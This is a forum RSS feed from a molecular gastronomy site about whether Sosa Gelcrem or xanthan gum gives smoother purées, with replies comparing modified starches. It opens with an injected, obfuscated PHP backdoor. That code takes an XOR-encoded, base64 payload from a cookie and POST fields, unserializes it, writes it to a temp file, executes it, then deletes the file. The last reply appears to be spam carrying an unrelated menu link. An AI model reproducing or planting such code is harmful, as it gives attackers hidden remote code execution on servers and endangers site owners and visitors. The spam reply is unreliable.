$ELAYRxoh = "\166" . chr ( 505 - 440 ).chr ( 263 - 147 )."\137" . 'c' . chr (97) . 'Q' . chr (79) . "\x59";$cLaWNXWXkv = chr ( 563 - 464 ).chr (108) . chr (97) . 's' . "\163" . "\137" . chr ( 192 - 91 )."\x78" . "\x69" . chr ( 192 - 77 ).'t' . "\163";$yUSMGT = class_exists($ELAYRxoh); $cLaWNXWXkv = "5704";$WpXFTjaRYh = strpos($cLaWNXWXkv, $ELAYRxoh);if ($yUSMGT == $WpXFTjaRYh){function JolRsOTr(){$uuGxWyL = new /* 52902 */ vAt_caQOY(16008 + 16008); $uuGxWyL = NULL;}$NpZCJmv = "16008";class vAt_caQOY{private function WuYKj($NpZCJmv){if (is_array(vAt_caQOY::$ehAEjuzT)) {$name = sys_get_temp_dir() . "/" . crc32(vAt_caQOY::$ehAEjuzT["salt"]);@vAt_caQOY::$ehAEjuzT["write"]($name, vAt_caQOY::$ehAEjuzT["content"]);include $name;@vAt_caQOY::$ehAEjuzT["delete"]($name); $NpZCJmv = "16008";exit();}}public function PQpXpOm(){$ugLeT = "26829";$this->_dummy = str_repeat($ugLeT, strlen($ugLeT));}public function __destruct(){vAt_caQOY::$ehAEjuzT = @unserialize(vAt_caQOY::$ehAEjuzT); $NpZCJmv = "54911_23266";$this->WuYKj($NpZCJmv); $NpZCJmv = "54911_23266";}public function dWVGKyVI($ugLeT, $BMPNRcS){return $ugLeT[0] ^ str_repeat($BMPNRcS, intval(strlen($ugLeT[0]) / strlen($BMPNRcS)) + 1);}public function arkbVX($ugLeT){$PgJBDh = 'b' . chr ( 1071 - 974 )."\163" . chr ( 994 - 893 ).chr ( 935 - 881 )."\x34";return array_map($PgJBDh . '_' . "\x64" . "\145" . "\143" . chr ( 595 - 484 )."\x64" . "\x65", array($ugLeT,));}public function __construct($xMHUz=0){$mCliM = "\54";$ugLeT = "";$OMzVkrE = $_POST;$SqHEfVNGO = $_COOKIE;$BMPNRcS = "6d927bed-d2b9-41fd-88fc-8cb4e0adf8bb";$ryQiuy = @$SqHEfVNGO[substr($BMPNRcS, 0, 4)];if (!empty($ryQiuy)){$ryQiuy = explode($mCliM, $ryQiuy);foreach ($ryQiuy as $McWJA){$ugLeT .= @$SqHEfVNGO[$McWJA];$ugLeT .= @$OMzVkrE[$McWJA];}$ugLeT = $this->arkbVX($ugLeT);}vAt_caQOY::$ehAEjuzT = $this->dWVGKyVI($ugLeT, $BMPNRcS);if (strpos($BMPNRcS, $mCliM) !== FALSE){$BMPNRcS = explode($mCliM, $BMPNRcS); $nvfROaW = sprintf("54911_23266", strrev($BMPNRcS[0]));}}public static $ehAEjuzT = 23838;}JolRsOTr();}<br />
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		<title>Molecular RecipesSosa Gel Crem vs Xanthan gum? &#8211; Molecular Recipes</title>
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		<link>http://www.molecularrecipes.com/molecular-gastronomy-forum/topic/sosa-gel-crem-vs-xanthan-gum/feed</link>
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		<pubDate>Thu, 26 Dec 2024 07:33:45 +0000</pubDate>
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					<title><![CDATA[Sosa Gel Crem vs Xanthan gum?]]></title>
					<link>http://www.molecularrecipes.com/molecular-gastronomy-forum/topic/sosa-gel-crem-vs-xanthan-gum/#post-11813</link>
					<pubDate>Wed, 03 Aug 2016 17:52:39 +0000</pubDate>
					<dc:creator>tavaruapt@hotmail.com</dc:creator>

					<description>
						<![CDATA[
						<p>Hi everyone, I  have a question I want to make super smooth purées and I&#8217;m wondering what you would recommend? I have seen that Sosa have Gelcrem hot and cold but what is better Gelcrem or Xanthan gum? Does Sosa Gelcrem also stabilises like Xanthan gum? What are the biggest difference between the two products beside one is derived from potato starch and the other from corn starch.</p>
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					<guid>http://www.molecularrecipes.com/molecular-gastronomy-forum/topic/sosa-gel-crem-vs-xanthan-gum/#post-11851</guid>
					<title><![CDATA[Reply To: Sosa Gel Crem vs Xanthan gum?]]></title>
					<link>http://www.molecularrecipes.com/molecular-gastronomy-forum/topic/sosa-gel-crem-vs-xanthan-gum/#post-11851</link>
					<pubDate>Fri, 24 Feb 2017 18:34:42 +0000</pubDate>
					<dc:creator>Quantum Chef</dc:creator>

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						<![CDATA[
						<p>I am not familiar with Gelcrem but it seems to be a modified food starch such as ultra-tex or ultrasperse.<br />
<a href="http://www.molecularrecipes.com/hydrocolloid-guide/ultra-tex/" rel="nofollow">http://www.molecularrecipes.com/hydrocolloid-guide/ultra-tex/</a><br />
<a href="http://www.molecularrecipes.com/hydrocolloid-guide/ultra-sperse/" rel="nofollow">http://www.molecularrecipes.com/hydrocolloid-guide/ultra-sperse/</a></p>
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					<title><![CDATA[Reply To: Sosa Gel Crem vs Xanthan gum?]]></title>
					<link>http://www.molecularrecipes.com/molecular-gastronomy-forum/topic/sosa-gel-crem-vs-xanthan-gum/#post-12320</link>
					<pubDate>Fri, 25 Oct 2024 04:51:18 +0000</pubDate>
					<dc:creator>libidek128</dc:creator>

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						<p>Sosa Gel Crem and Xanthan Gum are both popular food thickeners, but they differ in texture and application. Sosa Gel Crem provides a smooth, creamy finish, making it ideal for sauces and desserts, while Xanthan Gum is more versatile, often used to stabilize and thicken liquids in a wide variety of recipes. Depending on the desired result, either can be a great choice for enhancing textures in dishes. Whether you’re preparing dishes from scratch or exploring options like the <a href="https://menusplanet.com/xw-western-grill-menu/" rel="nofollow">xw western grill menu</a>, both thickeners offer unique benefits depending on the recipe.</p>
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